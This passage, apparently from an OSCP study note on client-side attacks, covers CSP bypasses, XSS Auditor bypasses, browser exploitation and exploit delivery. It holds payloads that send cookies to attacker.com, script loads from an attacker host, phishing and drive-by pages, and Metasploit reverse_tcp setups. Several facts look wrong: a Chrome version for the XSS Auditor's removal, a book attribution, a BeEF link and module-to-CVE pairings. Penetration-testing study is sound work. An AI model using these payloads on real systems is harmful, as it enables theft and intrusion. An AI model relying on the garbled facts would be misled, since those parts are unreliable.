Problem: No frame-ancestors directive, so the page can be embedded in any iframe (clickjacking vulnerability).
Exploit:
<!-- Attacker's clickjacking page -->
<iframe src="https://target.com/sensitive-page" style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;"></iframe>
<button style="position:absolute; top:50%; left:50%;">Click here to win!</button>
Fix:
Content-Security-Policy: default-src 'self'; frame-ancestors 'self';
Misconfiguration 8: Nonce Reuse
Vulnerable Implementation:
// Server uses the same nonce for all requests
const NONCE = 'static-nonce-value';
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy', `script-src 'nonce-${NONCE}'`);
next();
});
Problem: If the nonce is static or predictable, the attacker can use it in their injected scripts.
Exploit:
<!-- Attacker knows the static nonce -->
<script nonce="static-nonce-value">alert(document.cookie);</script>
Fix:
// Generate a new nonce for each request
const crypto = require('crypto');
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
next();
});
5.3 Bypass Techniques
Bypass 1: unsafe-inline with XSS
Scenario: CSP allows unsafe-inline, and the site has an XSS vulnerability.
CSP:
Content-Security-Policy: script-src 'self' 'unsafe-inline';
Exploit:
<!-- Inject inline script via XSS -->
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Bypass 2: unsafe-eval with XSS
Scenario: CSP allows unsafe-eval, and the site has an XSS vulnerability.
CSP:
Content-Security-Policy: script-src 'self' 'unsafe-eval';
Exploit:
<!-- Use eval() to execute code -->
<script>
eval('fetch("https://attacker.com/steal?cookie=" + document.cookie)');
</script>
Bypass 3: JSONP Endpoint
Scenario: CSP allows scripts from a third-party CDN, and the CDN has a JSONP endpoint.
CSP:
Content-Security-Policy: script-src 'self' https://cdn.example.com;
Exploit:
<!-- If cdn.example.com has a JSONP endpoint -->
<script src="https://cdn.example.com/jsonp?callback=steal"></script>
<script>
function steal(data) {
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
}
</script>
Bypass 4: SVG-based XSS
Scenario: CSP allows images from data: URIs, and the site allows SVG upload.
CSP:
Content-Security-Policy: img-src 'self' data:;
Exploit:
<!-- Upload SVG with embedded script -->
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieGxkX2lkXzEiPjxkZWZzLz48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoMSk7PC9zY3JpcHQ+PC9zdmc+">
Note: Modern browsers block scripts in data URI SVGs. This bypass may not work in all browsers.
Bypass 5: CSS Expression (IE Only)
Scenario: Target uses Internet Explorer, and CSP allows inline styles.
CSP:
Content-Security-Policy: style-src 'self' 'unsafe-inline';
Exploit:
<!-- IE-specific CSS expression -->
<div style="width: expression(alert(1));">
Note: This only works in IE8 and earlier. Modern browsers do not support CSS expressions.
Bypass 6: JavaScript Protocol in URL
Scenario: CSP allows navigation to any origin, and the site has an open redirect.
CSP:
Content-Security-Policy: default-src 'self';
Exploit:
<!-- Use javascript: protocol in redirect -->
<a href="javascript:alert(1)">Click me</a>
<!-- Or via open redirect -->
<a href="https://target.com/redirect?url=javascript:alert(1)">Click me</a>
Bypass 7: Event Handler Attributes
Scenario: CSP allows inline styles but not inline scripts. Some event handlers can still execute JavaScript.
CSP:
Content-Security-Policy: script-src 'self'; style-src 'self' 'unsafe-inline';
Exploit:
<!-- Event handlers are considered inline scripts -->
<!-- This should be blocked by script-src 'self' -->
<!-- But if the CSP is misconfigured, it might work -->
<div onclick="alert(1)">Click me</div>
<div onmouseover="alert(1)">Hover me</div>
<img src="x" onerror="alert(1)">
<svg onload="alert(1)">
Note: Event handlers are blocked by
script-srcunlessunsafe-inlineis present. This is a common misconception.
Bypass 8: Template Literals and eval-like Functions
Scenario: CSP allows unsafe-eval, and the site uses template literals.
CSP:
Content-Security-Policy: script-src 'self' 'unsafe-eval';
Exploit:
<!-- Use Function constructor -->
<script>
new Function('alert(1)')();
</script>
<!-- Use setTimeout with string -->
<script>
setTimeout('alert(1)', 0);
</script>
<!-- Use setInterval with string -->
<script>
setInterval('alert(1)', 0);
</script>
Bypass 9: CSP Report-Only Mode
Scenario: CSP is set in report-only mode, not enforced.
CSP:
Content-Security-Policy-Report-Only: default-src 'self';
Exploit:
<!-- CSP is not enforced, so any script can be loaded -->
<script src="https://attacker.com/malicious.js"></script>
Bypass 10: Meta Tag CSP vs HTTP Header CSP
Scenario: CSP is set via meta tag, which has limitations.
Vulnerable Meta Tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
Exploit:
<!-- Meta tag CSP cannot use report-uri, plugin-types, or sandbox -->
<!-- Also, meta tag CSP is only effective for the document it's in -->
<!-- If the attacker can inject a script before the meta tag, it will execute -->
<script>alert(1);</script>
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">
Bypass 11: CSP with strict-dynamic and Third-Party Scripts
Scenario: CSP uses strict-dynamic, which trusts scripts loaded by trusted scripts.
CSP:
Content-Security-Policy: script-src 'self' 'strict-dynamic' https://cdn.example.com;
Exploit:
<!-- If a trusted script loads a malicious script, it will be allowed -->
<script src="https://cdn.example.com/trusted.js"></script>
<!-- trusted.js creates and loads a malicious script -->
<!-- The malicious script is allowed because of strict-dynamic -->
Bypass 12: CSP with Hash Bypass
Scenario: CSP uses hashes to allow specific inline scripts.
CSP:
Content-Security-Policy: script-src 'self' 'sha256-abc123...';
Exploit:
<!-- If the attacker can modify the script content to match the hash -->
<!-- This is unlikely, but possible if the hash is weak or predictable -->
<script>
// Script content that matches the hash
alert(1);
</script>
Note: SHA-256 hashes are not easily bypassed. This is more of a theoretical concern.
6. XSS Auditor Bypass (Historical Context)
Important: The XSS Auditor was a Chrome-specific feature that has been deprecated and removed in modern versions of Chrome (since Chrome 41). It is included here for historical context and understanding of browser security evolution.
What Was the XSS Auditor?
The XSS Auditor was a reflective XSS mitigation feature in Chrome that:
- Monitored incoming requests for potential XSS payloads
- Compared the request with the response
- Blocked the response if it detected reflected XSS
How It Worked
Request: GET /search?q=<script>alert(1)</script>
Response: <html><body>Search results for: <script>alert(1)</script></body></html>
XSS Auditor Detection:
1. Detects <script> in request
2. Finds same <script> in response
3. Blocks the response or sanitizes the payload
Bypass Techniques (Historical)
Bypass 1: Content-Type Mismatch
# Send request with different Content-Type
POST /search HTTP/1.1
Content-Type: text/plain
q=<script>alert(1)</script>
Bypass 2: Encoding Variations
# Use different encoding to evade detection
GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E
Bypass 3: Filter Bypass with HTML Entities
# Use HTML entities to evade detection
GET /search?q=<script>alert(1)</script>
Bypass 4: X-XSS-Protection Header
# Disable the XSS Auditor via header
X-XSS-Protection: 0
Bypass 5: Reflected Content in Different Context
# Reflect content in a different context (e.g., attribute vs body)
GET /search?q="><script>alert(1)</script>
Modern Replacement
The XSS Auditor has been replaced by:
- Content Security Policy (CSP) — The recommended replacement
- Strict-Transport-Security (HSTS) — Enforces HTTPS
- X-Content-Type-Options: nosniff — Prevents MIME type sniffing
- X-Frame-Options — Prevents clickjacking
7. Browser Exploitation Workflow
Step 1: Reconnaissance
Identify Target Browser
# Check User-Agent string
curl -s -A "" http://target.com | grep -i "user-agent"
# Check browser version via JavaScript
# (If you have XSS access)
<script>
document.write(navigator.userAgent);
document.write(navigator.appVersion);
document.write(navigator.platform);
</script>
# Check for specific browser features
<script>
// Chrome detection
if (window.chrome) {
document.write("Chrome detected");
}
// Firefox detection
if (navigator.userAgent.indexOf("Firefox") !== -1) {
document.write("Firefox detected");
}
// IE detection
if (navigator.userAgent.indexOf("MSIE") !== -1 || navigator.userAgent.indexOf("Trident/") !== -1) {
document.write("IE detected");
}
</script>
Identify Browser Version
# Chrome/Chromium
chrome://version/
# Firefox
about:support
# Internet Explorer
Tools > About Internet Explorer
# Edge (Legacy)
Settings > About Microsoft Edge
# Safari
Safari > About Safari
Step 2: Vulnerability Research
Find CVEs for Target Browser
# Search ExploitDB
searchsploit "Chrome <version>"
searchsploit "Firefox <version>"
searchsploit "Internet Explorer <version>"
# Search online
# https://www.exploit-db.com/
# https://cve.mitre.org/
# https://nvd.nist.gov/
# Check for known exploits
# https://github.com/offensive-security/exploitdb
# https://www.metasploit.com/
Check Metasploit for Available Exploits
# Start Metasploit
msfconsole
# Search for browser exploits
search browser
search chrome
search firefox
search ie
# Example: Search for Chrome exploits
searchsploit chrome
# Example: Use a specific exploit
use exploit/windows/browser/ms10_042_help_cindex
use exploit/windows/browser/ms10_042_ie_object
use exploit/windows/browser/ms10_018_ie_setmousecapture
use exploit/windows/browser/ms10_030_ie_vbscript_rheaplib
Step 3: Exploit Development
Choose Exploit Type
| Exploit Type | Difficulty | Reliability | Browser Support |
|---|---|---|---|
| Memory Corruption | High | Low-Medium | All browsers |
| Type Confusion | High | Low-Medium | JS engines |
| Buffer Overflow | Medium | Medium | Older browsers |
| Plugin Exploit | Medium | Medium | Flash, Java, PDF |
| XSS + DOM Manipulation | Low | High | All browsers |
| CORS Misconfiguration | Low | High | All browsers |
| JSONP Exploitation | Low | High | All browsers |
Develop the Exploit
// Example: Simplified browser exploit structure
// This is a conceptual example, not a working exploit
(function() {
'use strict';
// Step 1: Trigger the vulnerability
function triggerVulnerability() {
// Code to trigger the bug
}
// Step 2: Spray the heap
function heapSpray() {
// Code to spray the heap with shellcode
}
// Step 3: Achieve code execution
function executeShellcode() {
// Code to execute the shellcode
}
// Step 4: Deliver the payload
function deliverPayload() {
// Code to deliver the payload
}
// Main execution
triggerVulnerability();
heapSpray();
executeShellcode();
deliverPayload();
})();
Step 4: Exploit Testing
Test in Target Browser
# Serve the exploit page
python3 -m http.server 8080
# Open in target browser
# http://localhost:8080/exploit.html
# Check for crashes
# Check for code execution
# Check for reliability
Debug the Exploit
# Use browser developer tools
# Chrome: F12 > Console
# Firefox: F12 > Console
# Use a debugger
# Chrome: F12 > Sources > Breakpoints
# Firefox: F12 > Debugger > Breakpoints
# Use a memory debugger
# WinDbg for Windows
# GDB for Linux
# LLDB for macOS
8. Exploit Delivery Mechanisms
Method 1: XSS Delivery
Scenario: You have an XSS vulnerability on the target site.
<!-- Inject exploit via XSS -->
<script src="https://attacker.com/exploit.js"></script>
Exploit.js:
// Browser exploit code
(function() {
'use strict';
// Trigger the vulnerability
// Spray the heap
// Execute the shellcode
// Deliver the payload
})();
Method 2: Social Engineering
Scenario: You need to trick the victim into visiting a malicious page.
<!-- Phishing email with link -->
<a href="https://attacker.com/exploit.html">Click here to view your account</a>
<!-- Malicious page -->
<html>
<head>
<title>Your Account</title>
<script src="https://attacker.com/exploit.js"></script>
</head>
<body>
<h1>Your Account</h1>
<p>Please wait while we load your account...</p>
</body>
</html>
Method 3: Drive-by Download
Scenario: The victim visits a compromised website that automatically delivers the exploit.
<!-- Compromised website -->
<html>
<head>
<iframe src="https://attacker.com/exploit.html" style="display:none;"></iframe>
</head>
<body>
<!-- Normal website content -->
</body>
</html>
Method 4: Malicious Document
Scenario: The victim opens a malicious document (PDF, Office, etc.) that triggers the exploit.
# Example: Create a malicious PDF with embedded JavaScript
# (This is a conceptual example, not a working exploit)
import fitz # PyMuPDF
doc = fitz.open()
page = doc.new_page()
# Embed JavaScript in the PDF
js = """
this.launchURL("https://attacker.com/exploit.html");
"""
page.insert_text((72, 72), "Click here", fontsize=12)
page.insert_link({
"kind": fitz.LINK_URI,
"from": fitz.Rect(72, 72, 200, 90),
"uri": "https://attacker.com/exploit.html"
})
doc.save("malicious.pdf")
doc.close()
Method 5: Metasploit Browser Exploit Server
Scenario: Use Metasploit to host and deliver the exploit.
# Start Metasploit
msfconsole
# Use a browser exploit module
use exploit/windows/browser/ms10_042_help_cindex
# Set options
set SRVHOST 0.0.0.0
set SRVPORT 8080
set URIPATH /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-ip>
set LPORT 4444
# Start the exploit
exploit
# The victim visits http://<attacker-ip>:8080/
# The exploit is delivered automatically
9. OSCP-Specific Tips and Lab Scenarios
Common OSCP Browser Exploitation Scenarios
Scenario 1: IE with Outdated Version
Setup:
- Target machine runs Windows 7/8 with Internet Explorer 8/9/10
- No automatic updates enabled
- UAC enabled (but not always a barrier)
Approach:
# 1. Identify the browser version
# Use the target's User-Agent string or check the machine directly
# 2. Search for exploits
searchsploit "Internet Explorer 8"
searchsploit "Internet Explorer 9"
searchsploit "Internet Explorer 10"
# 3. Use Metasploit
msfconsole
use exploit/windows/browser/ms10_042_help_cindex
set SRVHOST 0.0.0.0
set SRVPORT 8080
set URIPATH /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <your-ip>
set LPORT 4444
exploit
# 4. Deliver the exploit
# - Via XSS on a web application
# - Via social engineering (phishing email)
# - Via a compromised website
Scenario 2: Chrome with Known CVE
Setup:
- Target machine runs an outdated version of Chrome
- A known CVE exists for that version
Approach:
# 1. Identify the Chrome version
# Check chrome://version/ or use User-Agent string
# 2. Search for exploits
searchsploit "Chrome <version>"
# 3. Use Metasploit (if available)
msfconsole
search chrome
use exploit/<module>
# 4. If no Metasploit module, use a standalone exploit
# Download from ExploitDB
# Modify the exploit for your payload
# Serve the exploit via HTTP
Scenario 3: Firefox with Plugin Vulnerability
Setup:
- Target machine runs Firefox with a vulnerable plugin (Flash, Java, PDF)
Approach:
# 1. Identify the plugin version
# Check about:plugins in Firefox
# 2. Search for exploits
searchsploit "Flash <version>"
searchsploit "Java <version>"
searchsploit "PDF <version>"
# 3. Use Metasploit
msfconsole
search flash
search java
search pdf
use exploit/<module>
Scenario 4: XSS to Full Compromise
Setup:
- You have an XSS vulnerability on a web application
- The target uses an outdated browser
Approach:
<!-- Step 1: Inject XSS -->
<script src="https://<your-ip>/exploit.js"></script>
<!-- Step 2: Exploit.js contains the browser exploit -->
<!-- The exploit triggers the browser vulnerability -->
<!-- The exploit delivers a Meterpreter payload -->
<!-- You get a reverse shell -->
OSCP Tips
-
Always check the browser version first — Many OSCP machines use outdated browsers with known exploits.
-
Use Metasploit when possible — Metasploit has many browser exploit modules that are reliable and easy to use.
-
Combine XSS with browser exploits — If you have XSS, you can deliver browser exploits directly to the victim.
-
Check for plugins — Flash, Java, and PDF plugins are common attack vectors in older browsers.
-
Use social engineering — If you can’t deliver the exploit via XSS, try phishing or other social engineering techniques.
-
Test in a VM first — Always test your exploit in a virtual machine before deploying it against the target.
-
Have a backup plan — Browser exploits can be unreliable. Have alternative attack vectors ready.
-
Document your findings — Keep track of the browser version, CVE, and exploit you used for your report.
-
Check for updates — Some OSCP machines may have been updated since the exam was created. Check for the latest exploits.
-
Use multiple exploit modules — If one exploit doesn’t work, try another. Different exploits may have different reliability.
Common OSCP Browser Exploit Modules
| Module | Target | CVE | Reliability |
|---|---|---|---|
exploit/windows/browser/ms10_042_help_cindex |
IE 6-8 | CVE-2010-3334 | High |
exploit/windows/browser/ms10_042_ie_object |
IE 6-8 | CVE-2010-3334 | High |
exploit/windows/browser/ms10_018_ie_setmousecapture |
IE 6-8 | CVE-2010-1885 | Medium |
exploit/windows/browser/ms10_030_ie_vbscript_rheaplib |
IE 6-8 | CVE-2010-2571 | Medium |
10. Reference Tables
Browser Engine Vulnerability Summary
| Vulnerability Type | CWE | Common In | Exploitation Difficulty | Mitigation |
|---|---|---|---|---|
| Use-After-Free | CWE-416 | V8, Chakra, SpiderMonkey | High | GC hardening, ASAN |
| Buffer Overflow | CWE-120 | Image parsers, PDF parsers | Medium-High | Stack canaries, ASLR |
| Type Confusion | CWE-843 | V8, Chakra, SpiderMonkey | High | Type checking, deoptimization |
| Integer Overflow | CWE-190 | TypedArrays, allocators | Medium | Bounds checking |
| Out-of-bounds Read | CWE-125 | Arrays, buffers | Medium | Bounds checking |
| Out-of-bounds Write | CWE-787 | Arrays, buffers | High | Bounds checking, ASAN |
| Null Pointer Dereference | CWE-476 | All components | Low | Null checks |
| Double Free | CWE-415 | All components | Medium | Free tracking |
| Heap Overflow | CWE-122 | Heap allocations | High | Heap hardening |
| Stack Buffer Overflow | CWE-121 | Stack allocations | Medium | Stack canaries, ASLR |
SOP Bypass Techniques Summary
| Technique | Difficulty | Reliability | Browser Support | Mitigation |
|---|---|---|---|---|
| JSONP | Low | High | All | Remove JSONP, use CORS |
| CORS Misconfiguration | Low | High | All | Validate Origin header |
| postMessage Misuse | Low | High | All | Validate message origin |
| Hash-based Leakage | Medium | Medium | All | Don’t store sensitive data in hash |
| preconnect Leakage | Medium | Medium | All | Limit preconnect usage |
| CSS Extraction | High | Low | All | Use CSP, sanitize output |
| DNS Prefetching | Medium | Medium | All | Limit DNS prefetching |
| Cookie Subdomain | Low | High | All | Set specific domain for cookies |
| WebSocket Origin | Low | High | All | Validate Origin header |
CSP Bypass Techniques Summary
| Technique | Difficulty | Reliability | Mitigation |
|---|---|---|---|
unsafe-inline |
Low | High | Remove unsafe-inline |
unsafe-eval |
Low | High | Remove unsafe-eval |
Wildcard * |
Low | High | Use specific hosts |
Missing default-src |
Low | High | Set default-src |
| Overly Broad Hostnames | Medium | Medium | Use specific hosts |
data: URI |
Medium | Medium | Remove data: for scripts |
Missing frame-ancestors |
Low | High | Set frame-ancestors |
| Nonce Reuse | Medium | Medium | Generate new nonce per request |
| Report-Only Mode | Low | High | Use enforced CSP |
| Meta Tag CSP | Medium | Medium | Use HTTP header CSP |
strict-dynamic |
Medium | Medium | Audit third-party scripts |
| Hash Bypass | High | Low | Use strong hashes |
11. Further Reading
Books
- The Tangled Web by Michal Zalewski — Comprehensive guide to web browser security
- Browser Hacks by Peter-Paul Koch — Collection of browser-specific techniques
- Web Security Testing Cookbook by Adam Langley — Practical web security testing techniques
- The Web Application Hacker’s Handbook by Dafydd Stuttard and Marcus Pinto — Classic web security reference
Online Resources
- MDN Web Docs — https://developer.mozilla.org/en-US/docs/Web/Security
- OWASP — https://owasp.org/www-project-web-security-testing-guide/
- CWE — https://cwe.mitre.org/
- NVD — https://nvd.nist.gov/
- ExploitDB — https://www.exploit-db.com/
- CVE Details — https://www.cvedetails.com/
- Google Project Zero — https://googleprojectzero.blogspot.com/
- Chromium Security — https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/
Tools
- Metasploit — https://www.metasploit.com/
- Burp Suite — https://portswigger.net/burp
- OWASP ZAP — https://www.zaproxy.org/
- BeEF — https://beefproject.com/
- Browser Exploitation Framework — https://github.com/rapid7/metasploit-framework
CVE Databases
- MITRE CVE — https://cve.mitre.org/
- NVD — https://nvd.nist.gov/
- CVE Details — https://www.cvedetails.com/
- ExploitDB — https://www.exploit-db.com/
This study note is part of the OSCP Client-Side Attacks chapter (Chapter 08). It covers browser vulnerability exploitation, SOP bypass, CSP bypass, and practical exploit delivery techniques. Use this material for educational purposes and authorized penetration testing only.